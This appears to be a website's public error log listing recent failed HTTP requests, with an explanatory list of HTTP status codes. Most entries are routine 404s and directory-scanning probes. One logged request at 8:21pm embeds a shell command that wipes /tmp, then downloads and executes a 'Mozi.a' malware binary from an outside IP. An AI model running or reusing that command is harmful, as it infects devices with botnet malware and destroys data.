Website Error Log.
  https://agius.co 

This page lists the last few HTTP errors on this website.
  Date/Time = The website date and time someone tried to load the page. 
  IP address = The IP address of the user trying to load the page. 
  Page URL = The address of the page that could not be loaded. 
  Status = The HTTP status codes. (See list below) 
Note:
The following URL's would not load on the listed error date, but may have been OK before and/or after this date.
 Date:  Time:  IP address:  Page URL:  Status:
7/07/2026 1:43am  192.253.248.110  https://213.155.2.230:443/sslvpn_logon.shtml  404 
7/07/2026 12:45am  101.78.243.167  http://127.0.0.1/cgi-bin/ViewLog.asp  404 
6/07/2026 11:42pm  34.197.228.175  https://agius.co/webwindow/history/versionhistory.htmWebWindow  404 
6/07/2026 11:19pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/8TI05CAZ7ZK6G59EUL541RH_4DMU80-3  404 
6/07/2026 11:19pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/QC9-RZX0CKN33HHCZMIJACZBQVDQ5H8L  404 
6/07/2026 11:19pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/Q643JKS3J761OTB2UG46F_BAUPKUAQR0  404 
6/07/2026 11:19pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/5E_U4I9IY478JZTAJJNSOAVM3SLTDOW-  404 
6/07/2026 11:19pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/2AM5J48DCGW3MILIFJ--FFYD2_8ACHI3  404 
6/07/2026 11:19pm  213.155.2.229  http://mail.swiftdomainhosting.com/.well-known/acme-challenge/2F2U6OHN6DDK9CJRTD0S-X9BPIUQ276F  404 
6/07/2026 11:19pm  213.155.2.229  http://www.swiftdomainhosting.com/.well-known/acme-challenge/N8PEG42NJLDV5AXU760TDZWDSTHCD10F  404 
6/07/2026 11:19pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/IVTCZXEC89UH81TSMI1MOX2SNKEZJ2HX  404 
6/07/2026 11:19pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/P_RCSM7VSO1S3-RCNM-4D6HKU1OS164Z  404 
6/07/2026 8:21pm  72.255.47.46  http://213.155.2.230:80/shell?cd+/tmp;rm+-rf+*;wget+http://72.255.47.46:37892/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws  403 
6/07/2026 8:19pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/CY_77JZFUI9U6DW1RHTTN76DDQ8YCSQI  404 
6/07/2026 8:19pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/B2MOED-6J6MWO4F3FB7UYQJLMFD4QIBP  404 
6/07/2026 8:19pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/AD1UAWPVO69NSFY_5KHZXBTX-O-69NUV  404 
6/07/2026 8:19pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/HB61X9-T73HZCQFO-CH7RII5A81-5F7G  404 
6/07/2026 8:19pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/DJNGF9DMFQFNEZZT26M8AXU6OT1IRPL6  404 
6/07/2026 8:19pm  213.155.2.229  http://mail.swiftdomainhosting.com/.well-known/acme-challenge/B4ZR746ELBYGC75DLM8BZOR8O1TUCBSE  404 
6/07/2026 8:19pm  213.155.2.229  http://www.swiftdomainhosting.com/.well-known/acme-challenge/MU5CGELR5-XNX0R389H0N4IF0ENEEYWQ  404 
6/07/2026 8:19pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/QKYQDXLNLI0JYB7XH0DLB3BS27QQUZ13  404 
6/07/2026 8:19pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/H41P-U6UPONX30CY7IA0UZOFHFKIDC9K  404 
6/07/2026 7:08pm  47.128.60.184  https://agius.co/files/elecrytears.gif  403 
6/07/2026 6:39pm  34.162.48.10  http://swiftdomainhosting.com/wordpress/  404 
6/07/2026 6:39pm  34.162.48.10  http://swiftdomainhosting.com/new/  404 
6/07/2026 6:39pm  34.162.48.10  http://swiftdomainhosting.com/wp/  404 
6/07/2026 6:39pm  34.162.48.10  http://swiftdomainhosting.com/backup/  404 
6/07/2026 6:39pm  34.162.48.10  http://swiftdomainhosting.com/blog/  404 
6/07/2026 6:39pm  34.162.48.10  http://swiftdomainhosting.com/old/  404 
6/07/2026 6:35pm  40.124.173.185  https://213.155.2.230/developmentserver/metadatauploader  404 
6/07/2026 6:24pm  98.92.25.207  https://swiftdomainhosting.com/favicon.png  404 
6/07/2026 6:19pm  190.32.58.44  https://agius.co/webwindow/blog/blogpage.shtml  404 
6/07/2026 5:22pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/5ATPMI2QW7HKQS8HV8MF9PT8O2_RSHYN  404 
6/07/2026 5:22pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/DJ7YVEYLK1PMH5AF3S2LFETCV96P651S  404 
6/07/2026 5:22pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/TX88YINHJXATXDKYZKJOMGNP252R6RWX  404 
6/07/2026 5:22pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/E9QL-AK4IQYGVW20820FNPA3JJZE9PWO  404 
6/07/2026 5:22pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/-WRASHQCW6K_6318LYS10KMF544LIYPL  404 
6/07/2026 5:22pm  213.155.2.229  http://mail.swiftdomainhosting.com/.well-known/acme-challenge/UYWSR6SX11X4Y_WX74C4NPE6LP0112IO  404 
6/07/2026 5:22pm  213.155.2.229  http://www.swiftdomainhosting.com/.well-known/acme-challenge/7KSDYLOFCX5JXC5QL_WQ41_JQDD_79_J  404 
6/07/2026 5:22pm  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/E2PTYUSQ8OMNJ-LD2VK0-9JMQBT79TCB  404 
Note: Only the last 40 records are displayed here.

    HTTP status number list:
    Only some of the following are error and recorded on this website.
  • HTTP 100 = Continue. Server received request headers, and client should proceed to send the request body.
  • HTTP 101 = Switching protocols. Requester asked server to switch protocols and the server is acknowledging it.
  • HTTP 102 = Processing. The server has received and is processing the request, but no response is available yet.
  • HTTP 103 = Checkpoint. This code is used in the resumable HTTP requests. Resume/aborted PUT or POST request.
  • HTTP 122 = Request-URI too long. IE7-only code allows a maximum of 2083 characters.
  • HTTP 200 = Requested document has been processed and sent to you.
  • HTTP 201 = Created. Request fulfilled and a new resource is being created.
  • HTTP 202 = Accepted. Request has been accepted, but processing has not been completed.
  • HTTP 203 = Non-authoritative information. Server processed the request, but is returning information that may be from another source.
  • HTTP 204 = No content. Server successfully processed the request, but is not returning any content.
  • HTTP 205 = Reset content. Same as 204 response, but also requester reset of the document view.
  • HTTP 206 = Partial content. Server delivering only part of resource due to a range header sent by client.
  • HTTP 207 = Multi-status. Message body that follows is an XML message.
  • HTTP 226 = IM used. The server has fulfilled a GET request for the resource.
  • HTTP 300 = Multiple choices. The client may follow a number of different choices.
  • HTTP 301 = The document or directory has been moved permanently.
  • HTTP 302 = Found. Server received data and the redirect should be issued with a separate GET message.
  • HTTP 303 = Redirect web applications. Server received data and the redirect should be issued with a separate GET message.
  • HTTP 304 = Not modified. The resource has not been modified since last requested.
  • HTTP 305 = Use proxy.
  • HTTP 306 = Switch proxy.
  • HTTP 307 = Temporary redirect. The request should be repeated with another URI.
  • HTTP 308 = Resume Incomplete.
  • HTTP 400 = A bad HTTP request was sent from your browser to the website.
  • HTTP 401 = Unauthorised. You may have entered an invalid password.
  • HTTP 402 = Payment required to view the file or directory.
  • HTTP 403 = Forbidden. You do not have permission to view the page.
  • HTTP 404 = The file or directory was not found.
  • HTTP 405 = Method not allowed. EG. Using Get and not Post.
  • HTTP 406 = Not acceptable. Requested resource is only capable of generating content.
  • HTTP 407 = Proxy authentication required.
  • HTTP 408 = Request timeout. Server timed out waiting for the request.
  • HTTP 409 = Conflict. Request could not be processed because of conflict in the request.
  • HTTP 410 = Gone. The resource requested is no longer available and will not be available again.
  • HTTP 411 = Length required.
  • HTTP 412 = Precondition failed. The server does not meet one of the preconditions request.
  • HTTP 413 = Request entity too large. The request is larger than the server can process.
  • HTTP 414 = Request-URI is too long.
  • HTTP 415 = Unsupported media type.
  • HTTP 416 = Requested range not satisfiable. Request for portion of file that server cannot supply.
  • HTTP 417 = Expectation failed. The server cannot meet the requirements of the expect request-header.
  • HTTP 418 = I'm a teapot. This code was defined in 1998 as one of the traditional.
  • HTTP 422 = Unprocessable Entity. The request was correct but was unable to be followed due to semantic errors.
  • HTTP 423 = Locked. The resource that is being accessed is locked.
  • HTTP 424 = Failed Dependency. The request failed due to failure of a previous request.
  • HTTP 425 = Unordered Collection.
  • HTTP 426 = Upgrade required. Should switch to a different protocol.
  • HTTP 444 = No response. Nginx HTTP server extension.
  • HTTP 449 = Retry with a Microsoft extension. (Windows Parental Controls are turned on)
  • HTTP 450 = Blocked by Windows parental controls. (Windows Parental Controls are turned on)
  • HTTP 499 = Client closed request. Nginx HTTP server extension.
  • HTTP 500 = Internal Server Error. Could be bad script code, invalid .htaccess file, etc.
  • HTTP 501 = Not Implemented. Server dose not recognise the request method, or can not fulfill the request.
  • HTTP 502 = Bad Gateway. The server received an invalid response from the upstream server.
  • HTTP 503 = Service unavailable. Could be due to too much traffic for server.
  • HTTP 504 = Gateway timeout. Could be due to too much traffic for server.
  • HTTP 505 = HTTP Version not supported by website server.
  • HTTP 506 = Variant negotiates.
  • HTTP 507 = Insufficient Storage on webdite server.
  • HTTP 509 = Bandwidth Limit Exceeded for website.
  • HTTP 510 = Not Extended.
This page was last updated on;
7/07/2026 - 1:45am GMT / UTC